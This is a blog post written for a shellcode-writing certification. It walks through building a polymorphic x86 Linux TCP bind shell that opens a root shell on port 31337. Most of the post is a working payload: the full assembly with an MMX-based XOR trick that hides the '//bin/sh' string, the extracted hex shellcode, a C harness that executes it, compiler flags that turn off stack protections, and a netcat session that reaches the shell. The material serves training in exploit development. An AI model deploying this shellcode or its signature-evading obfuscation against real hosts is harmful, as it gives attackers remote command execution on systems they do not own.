SLAE32 Assignment 6.1 - Polymorphic MMX Bind Shell
Overview
For the sixth assignment in the SLAE32 Exam, we needed to create 3 polymorphic shellcodes; from existing shellcodes at shell-storm.org.
What is Polymorphic Shellcode?
Polymorphic shellcode means that it uses different assembly instructions to deliver the same payload.
For example, all of the below instructions will result in the same action.
mov eax, 0x00000000 ; Clears the EAX Register
xor eax, eax ; Clears the EAX Register
sub eax, eax ; Clears the EAX Register
The first shellcode I modified was tcpbindshell (108 bytes)
, created by Russell Willis.
- This shellcode can be found at
http://shell-storm.org/shellcode/files/shellcode-847.php
.
Our assignment required that our polymorphic version of the shellcode to not exceed 150% of the original value.
- The original shellcode length is
108 bytes
. - The final length of this polymorphic shellcode is
144 bytes
.
Polymorphic Shellcode
- The code I added/modified is indented with one space.
global _start
_start:
xor ecx,ecx ; Makes the ECX Register 0
mul ecx ; ECX*EAX. Result is stored in EDX:EAX.
; This clears the EDX and EAX.
mov ebx, eax ; sets the EBX register to 0
push byte 0x66
pop edi ; save this for the other functions
mov eax, edi ; eax is now 0x66 which is the socketcall SYScal
inc ebx ; EBX = 1; needed to create the socket()
push edx
push 0x6
push ebx ; push 0x1 to the stack
push 0x2
mov ecx,esp
int 0x80 ; System Call
xchg esi,eax ; Save the output of the syscal to the ESI register
mov eax, edi ; EAX = 0x66 used for socketcall SYSCAL
inc ebx ; EBX = 0x2
push edx
push word 0x697a ; port TCP
push bx
mov ecx,esp
push 0x10
push ecx
push esi
mov ecx,esp
int 0x80 ; System Call
mov eax, edi ; EAX = 0x66 used for socketcall SYSCAL
inc ebx
inc ebx ; EBX = 0x4
push 0x1
push esi
mov ecx,esp
int 0x80 ; System Call
mov eax, edi ; EAX = 0x66 used for socketcall SYSCAL
inc ebx
push edx
push edx
push esi
mov ecx,esp
int 0x80 ; System Call
; setup dup2 loop
mov ebx,eax
xor ecx,ecx
mov cl,0x3
; dup2
dup2Loop:
dec ecx
mov al,0x3f
int 0x80 ; System Call
jne dup2Loop
push edx
mov edx, 0xffffffff ; used to XOR the MM0 Register to result in "//bin/sh"
mov eax, 0x978cd091 ; "n/sh" XOR'd with 0xffffffff
movd mm0, eax
psllq mm0, 32 ; shift the mm0 register left by 4 bytes
mov ebx, 0x969dd0d0 ; "//bi" XOR'd with 0xffffffff
movd mm1, ebx
paddb mm0, mm1 ; now mm0 hold the 8 byte XOR'd "//bin/sh"
movd mm1, edx ; mm1 is now 0xffffffff
psllq mm1, 32 ; mm1 is now 0xffffffff00000000
movd mm2, edx ; mm2 us biw 0xffffffff
paddb mm1, mm2 ; mm1 is now 0xffffffffffffffff
pxor mm0, mm1 ; XOR's mm0 with mm1 and saves the results in mm0
sub esp, 8 ; Decrement the stack 8 bytes
movq qword [esp], mm0 ; push "//bin/sh" from mm0 to the top of the stack
xor eax,eax
mov ebx,esp
push eax
push ebx
mov ecx,esp
push eax
mov edx,esp
mov al,0xb
int 0x80 ; System Call
- To push the filename string
//bin/sh
onto the stack, I used the MMX registers.
Compiling the Shellcode
root# nasm -f elf32 mmxTcpBindShell.nasm -o mmxTcpBindShell.o
root# ld mmxTcpBindShell.o -o mmxTcpBindShell
Getting the Hex of the Shellcode
root# objdump -d tcpBindShell | grep '[0-9a-f]:' | grep -v 'file' | \
cut -f2 -d: | cut -f1-6 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | \
sed 's/ /\\x/g' | paste -d '' -s | sed 's/^/"/' | sed 's/$/"/g'
"\x31\xc9\xf7\xe1\x89\xc3\x6a\x66\x5f\x89\xf8\x43\x52\x6a\x06\x53\x6a\x02"
"\x89\xe1\xcd\x80\x96\x89\xf8\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a"
"\x10\x51\x56\x89\xe1\xcd\x80\x89\xf8\x43\x43\x6a\x01\x56\x89\xe1\xcd\x80"
"\x89\xf8\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x03\x49\xb0"
"\x3f\xcd\x80\x75\xf9\x52\xba\xff\xff\xff\xff\xb8\x91\xd0\x8c\x97\x0f\x6e"
"\xc0\x0f\x73\xf0\x20\xbb\xd0\xd0\x9d\x96\x0f\x6e\xcb\x0f\xfc\xc1\x0f\x6e"
"\xca\x0f\x73\xf1\x20\x0f\x6e\xd2\x0f\xfc\xca\x0f\xef\xc1\x83\xec\x08\x0f"
"\x7f\x04\x24\x31\xc0\x89\xe3\x50\x53\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80"
Injecting the Shellcode in a Host Program
- I loaded it into our shellcode testing program to ensure it still worked when injected into a host program.
// Filename: shellcode.c
// Author: boku
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc9\xf7\xe1\x89\xc3\x6a\x66\x5f\x89\xf8\x43\x52\x6a\x06\x53\x6a\x02"
"\x89\xe1\xcd\x80\x96\x89\xf8\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a"
"\x10\x51\x56\x89\xe1\xcd\x80\x89\xf8\x43\x43\x6a\x01\x56\x89\xe1\xcd\x80"
"\x89\xf8\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x03\x49\xb0"
"\x3f\xcd\x80\x75\xf9\x52\xba\xff\xff\xff\xff\xb8\x91\xd0\x8c\x97\x0f\x6e"
"\xc0\x0f\x73\xf0\x20\xbb\xd0\xd0\x9d\x96\x0f\x6e\xcb\x0f\xfc\xc1\x0f\x6e"
"\xca\x0f\x73\xf1\x20\x0f\x6e\xd2\x0f\xfc\xca\x0f\xef\xc1\x83\xec\x08\x0f"
"\x7f\x04\x24\x31\xc0\x89\xe3\x50\x53\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
- I then compiled the C program.
Compiling the Host Program
gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
- we use the feature
no-stack-protector
to disable canary stack protections that are automattically added when using the gcc compiler. - The option
execstack
disables the Data Execution Protection (DEP) mechanism automatically added when compiling with gcc.- This makes the stack non-executable.
- The stack would be only read and write if we didn’t disable this.
Testing the Polymorphic Shellcode
Window 1
root# ./shellcode
Shellcode Length: 144
Window 2
root# netstat -tnalp | grep shellcode
tcp 0 0 0.0.0.0:31337 0.0.0.0:* LISTEN 19649/shellcode
root# nc 127.0.0.1 31337
whoami
root
- Awesome! Our version of the shellcode works as intended.
- Having no
root#
oruser$
is typical of bind shells.
SLAE32 Blog Proof
This blog post has been created for completing the requirements
of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
- Now at: https://www.pentesteracademy.com/course?id=3
SLAE/Student ID: PA-10913